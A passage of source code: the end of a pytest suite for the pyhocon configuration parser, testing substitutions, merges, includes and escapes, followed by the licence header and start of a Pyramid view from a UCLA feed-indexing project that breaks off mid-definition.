""" ) assert config.get("x.y") == 1 assert set(config.get("x").keys()) == set(['y']) def test_self_ref_substitution_dict_recurse(self): with pytest.raises(ConfigSubstitutionException): ConfigFactory.parse_string( """ x = ${x} """ ) def test_self_ref_substitution_dict_recurse2(self): with pytest.raises(ConfigSubstitutionException): ConfigFactory.parse_string( """ x = ${x} x = ${x} """ ) def test_self_ref_substitution_dict_merge(self): ''' Example from HOCON spec ''' config = ConfigFactory.parse_string( """ foo : { a : { c : 1 } } foo : ${foo.a} foo : { a : 2 } """ ) assert config.get('foo') == {'a': 2, 'c': 1} assert set(config.keys()) == set(['foo']) def test_self_ref_substitution_dict_otherfield(self): ''' Example from HOCON spec ''' config = ConfigFactory.parse_string( """ bar : { foo : 42, baz : ${bar.foo} } """ ) assert config.get("bar") == {'foo': 42, 'baz': 42} assert set(config.keys()) == set(['bar']) def test_self_ref_substitution_dict_otherfield_merged_in(self): ''' Example from HOCON spec ''' config = ConfigFactory.parse_string( """ bar : { foo : 42, baz : ${bar.foo} } bar : { foo : 43 } """ ) assert config.get("bar") == {'foo': 43, 'baz': 43} assert set(config.keys()) == set(['bar']) def test_self_ref_substitution_dict_otherfield_merged_in_mutual(self): ''' Example from HOCON spec ''' config = ConfigFactory.parse_string( """ // bar.a should end up as 4 bar : { a : ${foo.d}, b : 1 } bar.b = 3 // foo.c should end up as 3 foo : { c : ${bar.b}, d : 2 } foo.d = 4 """ ) assert config.get("bar") == {'a': 4, 'b': 3} assert config.get("foo") == {'c': 3, 'd': 4} assert set(config.keys()) == set(['bar', 'foo']) def test_self_ref_substitution_string_opt_concat(self): ''' Example from HOCON spec ''' config = ConfigFactory.parse_string( """ a = ${?a}foo """ ) assert config.get("a") == 'foo' assert set(config.keys()) == set(['a']) def test_self_ref_substitution_dict_recurse_part(self): with pytest.raises(ConfigSubstitutionException): ConfigFactory.parse_string( """ x = ${x} {y: 1} x = ${x.y} """ ) def test_self_ref_substitution_object(self): config = ConfigFactory.parse_string( """ x = {a: 1, b: 2} x = ${x} {c: 3} x = {z: 0} ${x} x = {y: -1} ${x} {d: 4} """ ) assert config.get("x") == {'a': 1, 'b': 2, 'c': 3, 'z': 0, 'y': -1, 'd': 4} def test_self_ref_child(self): config = ConfigFactory.parse_string( """ a.b = 3 a.b = ${a.b} a.b = ${a.b} a.c = [1,2] a.c = ${a.c} a.d = {foo: bar} a.d = ${a.d} """ ) assert config.get("a") == {'b': 3, 'c': [1, 2], 'd': {'foo': 'bar'}} def test_concat_multi_line_string(self): config = ConfigFactory.parse_string( """ common_modules = perl \ java \ python """ ) assert [x.strip() for x in config['common_modules'].split() if x.strip(' ') != ''] == ['perl', 'java', 'python'] def test_concat_multi_line_list(self): config = ConfigFactory.parse_string( """ common_modules = [perl] \ [java] \ [python] """ ) assert config['common_modules'] == ['perl', 'java', 'python'] def test_concat_multi_line_dict(self): config = ConfigFactory.parse_string( """ common_modules = {a:perl} \ {b:java} \ {c:python} """ ) assert config['common_modules'] == {'a': 'perl', 'b': 'java', 'c': 'python'} def test_parse_URL_from_samples(self): config = ConfigFactory.parse_URL("file:samples/aws.conf") assert config.get('data-center-generic.cluster-size') == 6 assert config.get('large-jvm-opts') == ['-XX:+UseParNewGC', '-Xm16g'] def test_parse_URL_from_invalid(self): config = ConfigFactory.parse_URL("https://nosuchurl") assert config == [] def test_include_dict_from_samples(self): config = ConfigFactory.parse_file("samples/animals.conf") assert config.get('cat.garfield.say') == 'meow' assert config.get('dog.mutt.hates.garfield.say') == 'meow' def test_include_glob_dict_from_samples(self): config = ConfigFactory.parse_file("samples/all_animals.conf") assert config.get('animals.garfield.say') == 'meow' assert config.get('animals.mutt.hates.garfield.say') == 'meow' def test_include_glob_list_from_samples(self): config = ConfigFactory.parse_file("samples/all_bars.conf") bars = config.get_list('bars') assert len(bars) == 10 names = {bar['name'] for bar in bars} types = {bar['type'] for bar in bars if 'type' in bar} print(types, '(((((') assert '<NAME>' in names assert 'Homer\'s favorite coffee' in names assert 'milk' in types def test_list_of_dicts(self): config = ConfigFactory.parse_string( """ a: [ {a: 1, b: 2}, {a: 3, c: 4}, ] """ ) assert config['a'] == [ {'a': 1, 'b': 2}, {'a': 3, 'c': 4} ] def test_list_of_lists(self): config = ConfigFactory.parse_string( """ a: [ [1, 2] [3, 4] ] """ ) assert config['a'] == [ [1, 2], [3, 4] ] def test_list_of_dicts_with_merge(self): config = ConfigFactory.parse_string( """ b = {f: 4} a: [ ${b} {a: 1, b: 2}, {a: 3, c: 4} ${b}, {a: 3} ${b} {c: 6}, ] """ ) assert config['a'] == [ {'a': 1, 'b': 2, 'f': 4}, {'a': 3, 'c': 4, 'f': 4}, {'a': 3, 'c': 6, 'f': 4} ] def test_list_of_lists_with_merge(self): config = ConfigFactory.parse_string( """ b = [5, 6] a: [ ${b} [1, 2] [3, 4] ${b} [1, 2] ${b} [7, 8] ] """ ) assert config['a'] == [ [5, 6, 1, 2], [3, 4, 5, 6], [1, 2, 5, 6, 7, 8] ] def test_invalid_assignment(self): with pytest.raises(ParseSyntaxException): ConfigFactory.parse_string('common_modules [perl]') with pytest.raises(ParseException): ConfigFactory.parse_string('common_modules {} {perl: 1}') with pytest.raises(ParseSyntaxException): ConfigFactory.parse_string( """ a = {f: 5} common_modules ${a} {perl: 1} """) def test_invalid_dict(self): with pytest.raises(ParseSyntaxException): ConfigFactory.parse_string( """ a = { f: 5 g } """) with pytest.raises(ParseSyntaxException): ConfigFactory.parse_string('a = {g}') def test_include_file(self): with tempfile.NamedTemporaryFile('w') as fdin: fdin.write('[1, 2]') fdin.flush() config1 = ConfigFactory.parse_string( """ a: [ include "{tmp_file}" ] """.format(tmp_file=fdin.name) ) assert config1['a'] == [1, 2] config2 = ConfigFactory.parse_string( """ a: [ include file("{tmp_file}") ] """.format(tmp_file=fdin.name) ) assert config2['a'] == [1, 2] config3 = ConfigFactory.parse_string( """ a: [ include url("file://{tmp_file}") ] """.format(tmp_file=fdin.name) ) assert config3['a'] == [1, 2] def test_include_missing_file(self): config1 = ConfigFactory.parse_string( """ a: [ include "dummy.txt" 3 4 ] """ ) assert config1['a'] == [3, 4] def test_include_required_file(self): config = ConfigFactory.parse_string( """ a { include required("samples/animals.d/cat.conf") t = 2 } """ ) expected = { 'a': { 'garfield': { 'say': 'meow' }, 't': 2 } } assert expected == config config2 = ConfigFactory.parse_string( """ a { include required(file("samples/animals.d/cat.conf")) t = 2 } """ ) assert expected == config2 def test_include_missing_required_file(self): with pytest.raises(IOError): ConfigFactory.parse_string( """ a: [ include required("dummy.txt") 3 4 ] """ ) def test_resolve_package_path(self): path = ConfigParser.resolve_package_path("pyhocon:config_parser.py") assert os.path.exists(path) def test_resolve_package_path_format(self): with pytest.raises(ValueError): ConfigParser.resolve_package_path("pyhocon/config_parser.py") def test_resolve_package_path_missing(self): with pytest.raises(ImportError): ConfigParser.resolve_package_path("non_existent_module:foo.py") def test_include_package_file(self, monkeypatch): temp_dir = tempfile.mkdtemp() try: module_dir = os.path.join(temp_dir, 'my_module') module_conf = os.path.join(module_dir, 'my.conf') # create the module folder and necessary files (__init__ and config) os.mkdir(module_dir) open(os.path.join(module_dir, '__init__.py'), 'a').close() with open(module_conf, 'w') as fdin: fdin.write("{c: 3}") # add the temp dir to sys.path so that 'my_module' can be discovered monkeypatch.syspath_prepend(temp_dir) # load the config and include the other config file from 'my_module' config = ConfigFactory.parse_string( """ a: 1 b: 2 include package("my_module:my.conf") """ ) # check that the contents of both config files are available assert dict(config.as_plain_ordered_dict()) == {'a': 1, 'b': 2, 'c': 3} finally: shutil.rmtree(temp_dir, ignore_errors=True) def test_include_dict(self): expected_res = { 'a': 1, 'b': 2, 'c': 3, 'd': 4 } with tempfile.NamedTemporaryFile('w') as fdin: fdin.write('{a: 1, b: 2}') fdin.flush() config1 = ConfigFactory.parse_string( """ a: {{ include "{tmp_file}" c: 3 d: 4 }} """.format(tmp_file=fdin.name) ) assert config1['a'] == expected_res config2 = ConfigFactory.parse_string( """ a: {{ c: 3 d: 4 include "{tmp_file}" }} """.format(tmp_file=fdin.name) ) assert config2['a'] == expected_res config3 = ConfigFactory.parse_string( """ a: {{ c: 3 include "{tmp_file}" d: 4 }} """.format(tmp_file=fdin.name) ) assert config3['a'] == expected_res def test_include_substitution(self): with tempfile.NamedTemporaryFile('w') as fdin: fdin.write('y = ${x}') fdin.flush() config = ConfigFactory.parse_string( """ include "{tmp_file}" x = 42 """.format(tmp_file=fdin.name) ) assert config['x'] == 42 assert config['y'] == 42 @pytest.mark.xfail def test_include_substitution2(self): with tempfile.NamedTemporaryFile('w') as fdin: fdin.write('{ x : 10, y : ${x} }') fdin.flush() config = ConfigFactory.parse_string( """ { a : { include """ + '"' + fdin.name + """" } a : { x : 42 } } """ ) assert config['a']['x'] == 42 assert config['a']['y'] == 42 def test_var_with_include_keyword(self): config = ConfigFactory.parse_string( """ include-database=true """) assert config == { 'include-database': True } def test_substitution_override(self): config = ConfigFactory.parse_string( """ database { host = localhost port = 5432 user = people name = peopledb pass = <PASSWORD> } user=test_user pass=<PASSWORD> database { user = ${user} pass = ${pass} } """) assert config['database.user'] == 'test_user' assert config['database.pass'] == '<PASSWORD>' def test_substitution_flat_override(self): config = ConfigFactory.parse_string( """ database { name = peopledb pass = <PASSWORD> name = ${?NOT_EXISTS} pass = ${?NOT_EXISTS} } """) assert config['database.name'] == 'peopledb' assert config['database.pass'] == '<PASSWORD>' def test_substitution_multiple_override(self): config = ConfigFactory.parse_string( """ a: 1 b: foo c: ${a} ${b} c: ${b} ${a} d: ${a} ${b} d: ${a} bar """) assert config['c'] == 'foo 1' assert config['d'] == '1 bar' def test_substitution_nested_override(self): config = ConfigFactory.parse_string( """ database { name = peopledb pass = <PASSWORD> } database { name = ${?user} pass = ${?pass} } """) assert config['database.name'] == 'peopledb' assert config['database.pass'] == '<PASSWORD>' def test_optional_with_merge(self): unresolved = ConfigFactory.parse_string( """ foo: 42 foo: ${?a} """, resolve=False) source = ConfigFactory.parse_string( """ b: 14 """) config = unresolved.with_fallback(source) assert config['foo'] == 42 config = source.with_fallback(unresolved) assert config['foo'] == 42 def test_fallback_with_resolve(self): config3 = ConfigFactory.parse_string("c=5") config2 = ConfigFactory.parse_string("b=${c}", resolve=False) config1 = ConfigFactory.parse_string("a=${b}", resolve=False) \ .with_fallback(config2, resolve=False) \ .with_fallback(config3) assert {'a': 5, 'b': 5, 'c': 5} == config1 def test_optional_substitution(self): config = ConfigFactory.parse_string( """ a = 45 b = ${?c} d = ${?c} 4 e = ${?a} g = ${?c1} ${?c2} h = ${?c1} ${?c2} 1 """) assert 'b' not in config assert config['d'] == 4 assert config['e'] == 45 assert 'g' not in config assert config['h'] == 1 def test_cascade_optional_substitution(self): config = ConfigFactory.parse_string( """ num = 3 retries_msg = You have ${num} retries retries_msg = ${?CUSTOM_MSG} """) assert config == { 'num': 3, 'retries_msg': 'You have 3 retries' } def test_substitution_cycle(self): with pytest.raises(ConfigSubstitutionException): ConfigFactory.parse_string( """ a = ${b} b = ${c} c = ${a} """) def test_assign_number_with_eol(self): config = ConfigFactory.parse_string( """ a = 4 b = # test # test2 5 c = 6 """ ) assert config['a'] == 4 assert config['b'] == 5 assert config['c'] == 6 def test_assign_int(self): config = ConfigFactory.parse_string( """ short = 12 long = 12321321837612378126213217321 negative = -15 """ ) # on python 3 long will be an int but on python 2 long with be a long assert config['short'] == 12 assert isinstance(config['short'], int) assert config['long'] == 12321321837612378126213217321 assert isinstance(config['negative'], int) assert config['negative'] == -15 def test_assign_float(self): config = ConfigFactory.parse_string( """ a = 121.22 b = -121.22 c = .54 d = -.54 """ ) # on python 3 long will be an int but on python 2 long with be a long assert config['a'] == 121.22 assert config['b'] == -121.22 assert config['c'] == .54 assert config['d'] == -.54 def test_sci_real(self): """ Test scientific expression of number """ config = ConfigFactory.parse_string( """ short = 12.12321 long1 = 121.22E3423432 neg_long1 = 121.22E-1 long2 = 121.22e3423432 neg_long2 = 121.22e-3 """ ) # on python 3 long will be an int but on python 2 long with be a long assert config['short'] == 12.12321 assert config['long1'] == 121.22E3423432 assert config['neg_long1'] == 121.22E-1 assert config['long2'] == 121.22E3423432 assert config['neg_long2'] == 121.22E-3 def test_assign_strings_with_eol(self): config = ConfigFactory.parse_string( """ a = "a" b = # test # test2 "b" c = "c" """ ) assert config['a'] == 'a' assert config['b'] == 'b' assert config['c'] == 'c' def test_assign_list_numbers_with_eol(self): config = ConfigFactory.parse_string( """ a = [ 1, 2, ] b = # test # test2 [ 3, 4,] c = [ 5, 6 ] """ ) assert config['a'] == [1, 2] assert config['b'] == [3, 4] assert config['c'] == [5, 6] def test_assign_list_strings_with_eol(self): config = ConfigFactory.parse_string( """ a = [ "a", "b", ] b = # test # test2 [ "c", "d",] c = [ "e", "f" ] """ ) assert config['a'] == ['a', 'b'] assert config['b'] == ['c', 'd'] assert config['c'] == ['e', 'f'] def test_assign_dict_strings_with_equal_sign_with_eol(self): config = ConfigFactory.parse_string( """ a = { a: 1, b: 2, } b = # test # test2 { c: 3, d: 4,} c = { e: 5, f: 6 } """ ) assert config['a'] == {'a': 1, 'b': 2} assert config['b'] == {'c': 3, 'd': 4} assert config['c'] == {'e': 5, 'f': 6} def test_assign_dict_strings_no_equal_sign_with_eol(self): config = ConfigFactory.parse_string( """ a { a: 1, b: 2, } b # test # test2 { c: 3, d: 4,} c { e: 5, f: 6 } """ ) assert config['a'] == {'a': 1, 'b': 2} assert config['b'] == {'c': 3, 'd': 4} assert config['c'] == {'e': 5, 'f': 6} def test_substitutions_overwrite(self): config1 = ConfigFactory.parse_string( """ a = 123 a = ${?test} a = 5 """ ) assert config1['a'] == 5 config2 = ConfigFactory.parse_string( """ { database { host = "localhost" port = 8000 url = ${database.host}":"${database.port} } database { host = ${?DB_HOST} } database { host = "other.host.net" port = 433 } } """ ) assert config2['database']['host'] == 'other.host.net' assert config2['database']['port'] == 433 assert config2['database']['url'] == 'other.host.net:433' def test_fallback_substitutions_overwrite(self): config1 = ConfigFactory.parse_string( """ a = { b: 1 c: 2 } """ ) config2 = ConfigFactory.parse_string( """ a.b = 4 a.d = 3 """ ) config3 = config1.with_fallback(config2) assert config3['a'] == { 'b': 1, 'c': 2, 'd': 3 } config4 = ConfigFactory.parse_string( """ name: foo """ ) config5 = ConfigFactory.parse_string( u""" longName: "long "${?name} """, resolve=False ) config6 = config4.with_fallback(config5) assert config6 == { 'longName': 'long foo', 'name': 'foo' } def test_fallback_substitutions_overwrite_file(self): config1 = ConfigFactory.parse_string( """ { data-center-generic = { cluster-size: 8 } misc = "mist" } """ ) # use unicode path here for regression testing https://github.com/chimpler/pyhocon/issues/44 config2 = config1.with_fallback(u'samples/aws.conf') assert config2 == { 'data-center-generic': {'cluster-size': 8}, 'data-center-east': {'cluster-size': 8, 'name': 'east'}, 'misc': 'mist', 'default-jvm-opts': ['-XX:+UseParNewGC'], 'large-jvm-opts': ['-XX:+UseParNewGC', '-Xm16g'] } def test_fallback_self_ref_substitutions_append(self): config1 = ConfigFactory.parse_string( """ list = [ 1, 2, 3 ] """ ) config2 = ConfigFactory.parse_string( """ list = ${list} [ 4, 5, 6 ] """, resolve=False ) config2 = config2.with_fallback(config1) assert config2.get("list") == [1, 2, 3, 4, 5, 6] def test_fallback_self_ref_substitutions_append_plus_equals(self): config1 = ConfigFactory.parse_string( """ list = [ 1, 2, 3 ] """ ) config2 = ConfigFactory.parse_string( """ list += [ 4, 5, 6 ] """, resolve=False ) config2 = config2.with_fallback(config1) assert config2.get("list") == [1, 2, 3, 4, 5, 6] def test_self_merge_ref_substitutions_object(self): config1 = ConfigFactory.parse_string( """ a : { } b : 1 c : ${a} { d : [ ${b} ] } """, resolve=False ) config2 = ConfigFactory.parse_string( """ e : ${a} { } """, resolve=False ) merged = ConfigTree.merge_configs(config1, config2) ConfigParser.resolve_substitutions(merged) assert merged.get("c.d") == [1] def test_self_merge_ref_substitutions_object2(self): config1 = ConfigFactory.parse_string( """ x : { v1: 1 } b1 : {v2: 2 } b = [${b1}] """, resolve=False ) config2 = ConfigFactory.parse_string( """ b2 : ${x} {v2: 3} b += [${b2}] """, resolve=False ) merged = ConfigTree.merge_configs(config1, config2) ConfigParser.resolve_substitutions(merged) b = merged.get("b") assert len(b) == 2 assert b[0] == {'v2': 2} assert b[1] == {'v1': 1, 'v2': 3} def test_self_merge_ref_substitutions_object3(self): config1 = ConfigFactory.parse_string( """ b1 : { v1: 1 } b = [${b1}] """, resolve=False ) config2 = ConfigFactory.parse_string( """ b1 : { v1: 2, v2: 3 } """, resolve=False ) merged = ConfigTree.merge_configs(config1, config2) ConfigParser.resolve_substitutions(merged) assert merged.get("b1") == {"v1": 2, "v2": 3} b = merged.get("b") assert len(b) == 1 assert b[0] == {"v1": 2, "v2": 3} def test_fallback_self_ref_substitutions_merge(self): config1 = ConfigFactory.parse_string( """ dict = { x: 1 } """ ) config2 = ConfigFactory.parse_string( """ dict = ${dict} { y: 2 } """, resolve=False ) config2 = config2.with_fallback(config1) assert config2.get("dict") == {'x': 1, 'y': 2} def test_fallback_self_ref_substitutions_concat_string(self): config1 = ConfigFactory.parse_string( """ string = abc """ ) config2 = ConfigFactory.parse_string( """ string = ${string}def """, resolve=False ) result = config2.with_fallback(config1) assert result.get("string") == 'abcdef' # test no mutation on config1 assert result is not config1 # test no mutation on config2 assert "abc" not in str(config2) def test_fallback_non_root(self): root = ConfigFactory.parse_string( """ a = 1 mid.b = 1 """ ) config = root.get_config("mid").with_fallback(root) assert config['a'] == 1 and config['b'] == 1 def test_object_field_substitution(self): config = ConfigFactory.parse_string( """ A = ${Test} Test { field1 = 1 field2 = ${Test.field1}"2" field3 = ${Test.field2}"3" } """ ) assert config.get_string("A.field1") == "1" assert config.get_string("A.field2") == "12" assert config.get_string("A.field3") == "123" assert config.get_string("Test.field1") == "1" assert config.get_string("Test.field2") == "12" assert config.get_string("Test.field3") == "123" def test_one_line_quote_escape(self): config = ConfigFactory.parse_string( """ test_no_quotes: abc\\n\\n test_quotes: "abc\\n\\n" """ ) assert config == { 'test_no_quotes': 'abc\n\n', 'test_quotes': 'abc\n\n' } def test_multi_line_escape(self): config = ConfigFactory.parse_string( """ with-escaped-backslash: \"\"\" \\\\ \"\"\" with-newline-escape-sequence: \"\"\" \\n \"\"\" with-escaped-newline-escape-sequence: \"\"\" \\\\n \"\"\" """ ) assert config['with-escaped-backslash'] == '\n\\\\\n' assert config['with-newline-escape-sequence'] == '\n\\n\n' assert config['with-escaped-newline-escape-sequence'] == '\n\\\\n\n' def test_multiline_with_backslash(self): config = ConfigFactory.parse_string( """ test = line1 \ line2 test2 = test """) assert config == { 'test': 'line1 line2', 'test2': 'test' } def test_from_dict_with_dict(self): d = { 'banana': 3, 'apple': 4, 'pear': 1, 'orange': 2, } config = ConfigFactory.from_dict(d) assert config == d def test_from_dict_with_ordered_dict(self): d = OrderedDict() d['banana'] = 3 d['apple'] = 4 d['pear'] = 1 d['orange'] = 2 config = ConfigFactory.from_dict(d) assert config == d def test_from_dict_with_nested_dict(self): d = OrderedDict() d['banana'] = 3 d['apple'] = 4 d['pear'] = 1 d['tree'] = { 'a': 'abc\ntest\n', 'b': [1, 2, 3] } config = ConfigFactory.from_dict(d) assert config == d def test_object_concat(self): config = ConfigFactory.parse_string( """o1 = { foo : { a : 1 b : 2 } } o2 = { foo : { b : 3 c : 4 } } o3 = ${o1} ${o2} """ ) assert config.get_int('o1.foo.b') == 2 assert config.get_int('o2.foo.b') == 3 assert config.get_int('o3.foo.b') == 3 assert config.get_int('o1.foo.c', default=42) == 42 assert config.get_int('o3.foo.a') == 1 assert config.get_int('o3.foo.c') == 4 def test_issue_75(self): config = ConfigFactory.parse_string( """base : { bar: ["a"] } sub : ${base} { baz: ${base.bar} ["b"] } sub2: ${sub} """ ) assert config.get_list('base.bar') == ["a"] assert config.get_list('sub.baz') == ["a", "b"] assert config.get_list('sub2.baz') == ["a", "b"] def test_plain_ordered_dict(self): config = ConfigFactory.parse_string( """ e : ${a} { } """, resolve=False ) with pytest.raises(ConfigException): config.as_plain_ordered_dict() def test_quoted_strings_with_ws(self): config = ConfigFactory.parse_string( """ no_trailing_ws = "foo" "bar " trailing_ws = "foo" "bar "{ws} trailing_ws_with_comment = "foo" "bar "{ws}// comment """.format(ws=' ')) assert config == { 'no_trailing_ws': "foo bar ", 'trailing_ws': "foo bar ", 'trailing_ws_with_comment': "foo bar " } def test_unquoted_strings_with_ws(self): config = ConfigFactory.parse_string( """ a = foo bar """) assert config == { 'a': 'foo bar' } def test_quoted_unquoted_strings_with_ws(self): config = ConfigFactory.parse_string( """ a = foo "bar" dummy """) assert config == { 'a': 'foo bar dummy' } def test_quoted_unquoted_strings_with_ws_substitutions(self): config = ConfigFactory.parse_string( """ x = 5 b = test a = foo "bar" ${b} dummy c = foo ${x} bv d = foo ${x} 43 """) assert config == { 'x': 5, 'b': 'test', 'a': 'foo bar test dummy', 'c': 'foo 5 bv', 'd': 'foo 5 43' } def test_complex_substitutions(self): config = ConfigFactory.parse_string( """ a: 1 b: ${c} { pa: [${a}] pb: ${b.pa} } c: { } d: { pc: ${b.pa} } e: ${b} """, resolve=True) assert config == { 'a': 1, 'b': {'pa': [1], 'pb': [1]}, 'c': {}, 'd': {'pc': [1]}, 'e': {'pa': [1], 'pb': [1]} } def test_assign_next_line(self): config = ConfigFactory.parse_string( """ a = // abc abc c = 5 """) assert config == { 'a': 'abc', 'c': 5 } @mock.patch.dict(os.environ, STRING_VAR='value_from_environment') def test_string_from_environment(self): config = ConfigFactory.parse_string( """ string_from_env = ${STRING_VAR} """) assert config == { 'string_from_env': 'value_from_environment' } @mock.patch.dict(os.environ, STRING_VAR='value_from_environment') def test_string_from_environment_self_ref(self): config = ConfigFactory.parse_string( """ STRING_VAR = ${STRING_VAR} """) assert config == { 'STRING_VAR': 'value_from_environment' } @mock.patch.dict(os.environ, STRING_VAR='value_from_environment') def test_string_from_environment_self_ref_optional(self): config = ConfigFactory.parse_string( """ STRING_VAR = ${?STRING_VAR} """) assert config == { 'STRING_VAR': 'value_from_environment' } @mock.patch.dict(os.environ, TRUE_OR_FALSE='false') def test_bool_from_environment(self): config = ConfigFactory.parse_string( """ bool_from_env = ${TRUE_OR_FALSE} """) assert config == { 'bool_from_env': 'false' } assert config.get_bool('bool_from_env') is False @mock.patch.dict(os.environ, INT_VAR='5') def test_int_from_environment(self): config = ConfigFactory.parse_string( """ int_from_env = ${INT_VAR} """) assert config == { 'int_from_env': '5' } assert config.get_int('int_from_env') == 5 def test_unicode_dict_key(self): input_string = u""" www.sample.com { us { name = "first domain" } } www.example-ö.com { us { name = "second domain" } } """ config = ConfigFactory.parse_string(input_string) assert config.get_string(u'www.sample.com.us.name') == 'first domain' assert config.get_string(u'www.example-ö.com.us.name') == 'second domain' with pytest.raises(ConfigWrongTypeException): config.put(u'www.example-ö', 'append_failure', append=True) with pytest.raises(ConfigMissingException): config.get_string(u'missing_unicode_key_ö') with pytest.raises(ConfigException): config.get_bool(u'www.example-ö.com.us.name') with pytest.raises(ConfigException): config.get_list(u'www.example-ö.com.us.name') with pytest.raises(ConfigException): config.get_config(u'www.example-ö.com.us.name') with pytest.raises(ConfigWrongTypeException): config.get_string(u'www.example-ö.com.us.name.missing') def test_with_comment_on_last_line(self): # Adress issue #102 config_tree = ConfigFactory.parse_string(""" foo: "1" bar: "2" # DO NOT CHANGE ANY OF THE ABOVE SETTINGS!""") assert config_tree == { 'foo': '1', 'bar': '2' } def test_triple_quotes_same_line(self): config_tree = ConfigFactory.parse_string('a:["""foo"""", "bar"]') assert config_tree == { 'a': ['foo"', "bar"] } def test_pop(self): config_tree = ConfigFactory.parse_string('a:{b: 3, d: 6}') assert 3 == config_tree.pop('a.b', 5) assert 5 == config_tree.pop('a.c', 5) expected = { 'a': {'d': 6} } assert expected == config_tree def test_merge_overriden(self): # Adress issue #110 # ConfigValues must merge with its .overriden_value # if both are ConfigTree config_tree = ConfigFactory.parse_string(""" foo: ${bar} foo: ${baz} bar: {r: 1, s: 2} baz: {s: 3, t: 4} """) assert 'r' in config_tree['foo'] and 't' in config_tree['foo'] and config_tree['foo']['s'] == 3 def test_attr_syntax(self): config = ConfigFactory.parse_string( """ a: 1 b: { pb: 5 } """) assert 5 == config.b.pb def test_escape_quote(self): config = ConfigFactory.parse_string( """ quoted: "abc\\"test" unquoted: abc\\"test """) assert 'abc"test' == config['quoted'] assert 'abc"test' == config['unquoted'] def test_escape_quote_complex(self): config = ConfigFactory.parse_string( """ value: "{\\"critical\\":\\"0.00\\",\\"warning\\":\\"99.99\\"}" """ ) assert '{"critical":"0.00","warning":"99.99"}' == config['value'] def test_keys_with_slash(self): config = ConfigFactory.parse_string( """ /abc/cde1: abc "/abc/cde2": "cde" /abc/cde3: "fgh" """) assert 'abc' == config['/abc/cde1'] assert 'cde' == config['/abc/cde2'] assert 'fgh' == config['/abc/cde3'] def test_mutation_values(self): config = ConfigFactory.parse_string( """ common : { } b1 = [] var = "wrong" compilerCommon : ${common} { VAR : ${var} } substrate-suite: { VAR : "right" } b1 = [ ${compilerCommon} ${substrate-suite} ${compilerCommon} ${substrate-suite} ] b2 = [ ${compilerCommon} ${substrate-suite} ${compilerCommon} ${substrate-suite} ] """) assert config.get("b1")[1]['VAR'] == 'right' assert config.get("b2")[1]['VAR'] == 'right' def test_escape_sequences_json_equivalence(self): """ Quoted strings are in the same format as JSON strings, See: https://github.com/lightbend/config/blob/master/HOCON.md#unchanged-from-json """ source = r""" { "plain-backslash": "\\", "tab": "\t", "no-tab": "\\t", "newline": "\n", "no-newline": "\\n", "cr": "\r", "no-cr": "\\r", "windows": "c:\\temp" } """ expected = { 'plain-backslash': '\\', 'tab': '\t', 'no-tab': '\\t', 'newline': '\n', 'no-newline': '\\n', 'cr': '\r', 'no-cr': '\\r', 'windows': 'c:\\temp', } config = ConfigFactory.parse_string(source) assert config == expected assert config == json.loads(source) try: from dateutil.relativedelta import relativedelta @pytest.mark.parametrize('data_set', [ ('a: 1 months', relativedelta(months=1)), ('a: 1months', relativedelta(months=1)), ('a: 2 month', relativedelta(months=2)), ('a: 3 mo', relativedelta(months=3)), ('a: 3mo', relativedelta(months=3)), ('a: 3 mon', '3 mon'), ('a: 1 years', relativedelta(years=1)), ('a: 1years', relativedelta(years=1)), ('a: 2 year', relativedelta(years=2)), ('a: 3 y', relativedelta(years=3)), ('a: 3y', relativedelta(years=3)), ]) def test_parse_string_with_duration_optional_units(data_set): config = ConfigFactory.parse_string(data_set[0]) assert config['a'] == data_set[1] except Exception: pass

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pushhubsearch/views.py

ucla/PushHubSearch

0

125395

<reponame>ucla/PushHubSearch """ Copyright (c) 2013, Regents of the University of California All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. * Neither the name of the University of California nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. """ import copy import feedparser from pyramid.httpexceptions import HTTPOk from pyramid.httpexceptions import HTTPBadRequest from pyramid.response import Response from pyramid.url import route_url from .models import SharedItem from .feedgen import Atom1Feed from .utils import normalize_uid from .utils import remove_deleted_status import logging logger = logging.getLogger(__name__) # NOTE: the hub only supports atom at the moment ALLOWED_CONTENT = ( 'application/atom+xml', 'application/rss+xml', ) class UpdateItems(object): """Create a new SharedItem or update it if it already exists. This will find all the entries, then create / update them. Then do a batch index to Solr. """ def __init__(self, context, request): self.context = context self.request = request self.create_count = 0 self.update_count = 0 self.messages = [] self.to_index = [] solr_uri = request.registry.settings.get('push.solr_uri', None) if solr_uri is None: raise AttributeError(u'A push.solr_uri is required') # XXX: We are importing solr here to be able to mock it in the tests from mysolr import Solr self.solr = Solr(solr_uri) self.shared = context.shared def __call__(self): # If the request isn't an RSS feed, bail out if self.request.content_type not in ALLOWED_CONTENT: body_msg = ( "The content-type of the request must be one of the " "following: %s" ) % ", ".join(ALLOWED_CONTENT) return HTTPBadRequest(body=body_msg) # Create / update self._process_items() # Index in Solr self._update_index() # Return a 200 with details on what happened in the body self.messages.append("%s items created." % self.create_count) self.messages.append("%s items updated." % self.update_count) return HTTPOk(body=" ".join(self.messages)) def _process_items(self): """Get a list of new items to create and existing items that need to be updated. """ shared_content = feedparser.parse(self.request.body) for item in shared_content.entries: uid = item['id'] # Get the uid, minus the urn:syndication bit item['uid'] = uid = normalize_uid(uid) logger.info('Processing item %s' % uid) item['link'] = item.link item['feed_link'] = shared_content.feed.link if uid in self.shared: self._update_item(item) else: self._create_item(item) def 